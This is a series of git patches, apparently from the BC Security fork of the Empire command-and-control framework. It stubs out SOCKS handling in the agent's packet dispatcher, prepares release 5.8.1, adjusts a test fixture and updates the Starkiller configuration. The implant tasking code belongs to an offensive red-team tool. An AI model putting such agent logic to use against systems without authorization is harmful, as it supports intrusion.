self.stop_job(data, resultID) elif packetType == 60: - self.start_socks_server(resultID) + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 0, "[!] SOCKS Server not implemented", resultID + ) + ) elif packetType == 61: - self.socksqueue.put(base64.b64decode(data.encode("UTF-8"))) + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 0, "[!] SOCKS Server not implemented", resultID + ) + ) elif packetType == 70: self.start_smb_pipe_server(data, resultID) @@ -1256,7 +1193,7 @@ def process_packet(self, packetType, data, resultID): # Dynamically update agent comms self.packet_handler.send_message( self.packet_handler.build_response_packet( - 60, "[!] Switch agent comms not implemented", resultID + 0, "[!] Switch agent comms not implemented", resultID ) ) @@ -1264,7 +1201,7 @@ def process_packet(self, packetType, data, resultID): # Update the listener name variable self.packet_handler.send_message( self.packet_handler.build_response_packet( - 60, "[!] Switch agent comms not implemented", resultID + 0, "[!] Switch agent comms not implemented", resultID ) ) From c3ee0da8eb2905424f03dc7ec1518939ab8e1583 Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Thu, 30 Nov 2023 15:41:19 +0000 Subject: [PATCH 27/29] Prepare release 5.8.1 private --- CHANGELOG.md | 21 ++++++++++++--------- empire/server/common/empire.py | 2 +- pyproject.toml | 2 +- 3 files changed, 14 insertions(+), 11 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1f67f56e4..3de53e886 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,15 +5,17 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). -* **Added** for new features. -* **Changed** for changes in existing functionality. -* **Deprecated** for soon-to-be removed features. -* **Removed** for now removed features. -* **Fixed** for any bug fixes. -* **Security** in case of vulnerabilities. +- **Added** for new features. +- **Changed** for changes in existing functionality. +- **Deprecated** for soon-to-be removed features. +- **Removed** for now removed features. +- **Fixed** for any bug fixes. +- **Security** in case of vulnerabilities. ## [Unreleased] +## [5.8.1] - 2023-11-30 + ### Added - Add tags search to credentials endpoints (@Vinnybod) @@ -40,7 +42,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Fixed the database session management for websocket endpoints (@Vinnybod) - ## [5.8.0] - 2023-11-06 - Warning: You may run into errors installing things such as nim if you are running the install script on a machine that previously ran it. This is due to permissions changes with the install script. In this case it is recommended to use a fresh machine or manually remove the offending directories/files. @@ -66,7 +67,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Use Python 3.12 - Don't use apt for powershell and dotnet - DockerHub images now have linux/amd64 and linux/arm64 architectures -- Dependency changes (@Vinnybod) +- Dependency changes (@Vinnybod) - Use BC-Security fork of md2pdf until upstream can support Python 3.12 - Use a patched version of pysecretsocks that packages asyncore for Python 3.12 support - Use docopt-ng for Python 3.12 support @@ -681,7 +682,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Updated shellcoderdi to newest version (@Cx01N) - Added a Nim launcher (@Hubbl3) -[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.8.0...HEAD +[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.8.1...HEAD + +[5.8.1]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.8.0...v5.8.1 [5.8.0]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.7.3...v5.8.0 diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py index b904bd0de..7894b716d 100755 --- a/empire/server/common/empire.py +++ b/empire/server/common/empire.py @@ -38,7 +38,7 @@ from . import agents, credentials, listeners, stagers -VERSION = "5.8.0 BC Security Fork" +VERSION = "5.8.1 BC Security Fork" log = logging.getLogger(__name__) diff --git a/pyproject.toml b/pyproject.toml index 9aec387ea..53dfeb23c 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "empire-bc-security-fork" -version = "5.8.0" +version = "5.8.1" description = "" authors = ["BC Security "] readme = "README.md" From 945cb7745a1f8ddd8a148ab9e32f201801cb34ba Mon Sep 17 00:00:00 2001 From: Vince Rose Date: Thu, 30 Nov 2023 09:37:04 -0700 Subject: [PATCH 28/29] remove reset_db from test setup which was breaking sqlite --- empire/test/conftest.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/empire/test/conftest.py b/empire/test/conftest.py index 92fe77400..9bae10299 100644 --- a/empire/test/conftest.py +++ b/empire/test/conftest.py @@ -2,7 +2,6 @@ import shutil import sys from contextlib import suppress -from importlib import reload from pathlib import Path import pytest @@ -37,8 +36,6 @@ def client(): import empire.server.core.db.base from empire.server.core.db.base import reset_db, startup_db - reset_db() - reload(empire.server.core.db.base) startup_db() shutil.rmtree("empire/test/downloads", ignore_errors=True) From 3b518e187c9abd8f6eb66401a663c088622fb430 Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Mon, 4 Dec 2023 05:43:24 +0000 Subject: [PATCH 29/29] Update starkiller version to v2.7.1 --- CHANGELOG.md | 1 + empire/server/config.yaml | 4 ++-- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3de53e886..86fa93ec4 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -15,6 +15,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] ## [5.8.1] - 2023-11-30 +- Updated Starkiller to v2.7.1 ### Added diff --git a/empire/server/config.yaml b/empire/server/config.yaml index 77261aba3..5cc9ff570 100644 --- a/empire/server/config.yaml +++ b/empire/server/config.yaml @@ -43,10 +43,10 @@ database: ip-blacklist: "" starkiller: enabled: true - repo: git@github.com:BC-SECURITY/Starkiller-Sponsors.git + repo: https://github.com/BC-SECURITY/Starkiller.git directory: empire/server/api/v2/starkiller # Can be a branch, tag, or commit hash - ref: sponsors-main + ref: v2.7.1 auto_update: true plugins: # Auto-load plugin with defined settings